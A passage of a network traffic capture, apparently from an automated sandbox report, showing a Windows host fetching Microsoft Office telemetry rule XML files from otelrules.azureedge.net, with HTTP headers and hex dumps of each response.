2024-11-20 23:03:56 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:56 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 5a5a1706-c01e-0079-6c8c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230356Z-1777c6cb7549x5qchC1TEBggbg0000000ab000000000aw1z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:56 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.7	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:56 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:56 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 40dbe65e-a01e-0050-4363-3bdb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230356Z-178bfbc474b9fdhphC1NYCac0n00000000dg00000000cwzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:56 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.7	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:56 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:57 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:56 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: d606dcfe-601e-003e-695e-3b3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230356Z-178bfbc474bgvl54hC1NYCsfuw00000000qg000000003vd4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:57 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.7	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:56 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:57 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:57 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: dc62f7d8-b01e-003e-729b-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230357Z-r1d97b99577lxltfhC1TEByw2s00000009m0000000008mtd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:57 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.7	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:57 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:57 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:57 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 0c3517a5-201e-0003-7a8c-3af85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230357Z-1777c6cb754lv4cqhC1TEB13us0000000a9g00000000836x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:57 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.7	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:58 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:58 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:58 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 5b95a93a-a01e-006f-7568-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230358Z-178bfbc474bxkclvhC1NYC69g400000000gg00000000dxxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.7	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:58 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:58 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:58 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: c70c13b9-401e-0064-2959-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230358Z-178bfbc474b7cbwqhC1NYC8z4n00000000hg000000009075 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:58 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:59 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:59 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:59 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: a16a2ddb-901e-0064-058c-3ae8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230359Z-178bfbc474bv7whqhC1NYC1fg400000000m000000000v81v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:59 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.7	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:59 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:59 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:59 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 36815d12-601e-0070-4763-3ba0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230359Z-178bfbc474bq2pr7hC1NYCkfgg00000000q0000000015wgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:59 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:59 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:04:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:04:00 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 9dcf90b9-e01e-000c-7364-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230400Z-178bfbc474bq2pr7hC1NYCkfgg00000000r000000000y5b2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:04:00 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:04:00 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:04:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:04:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 9255dc68-201e-0003-0f07-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230400Z-r1d97b99577l6wbzhC1TEB3fwn00000009kg00000000p1h2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:04:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:04:00 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:04:01 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:04:00 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 24867866-a01e-0053-1264-3b8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230400Z-178bfbc474b9xljthC1NYCtw9400000000n00000000046ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:04:01 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 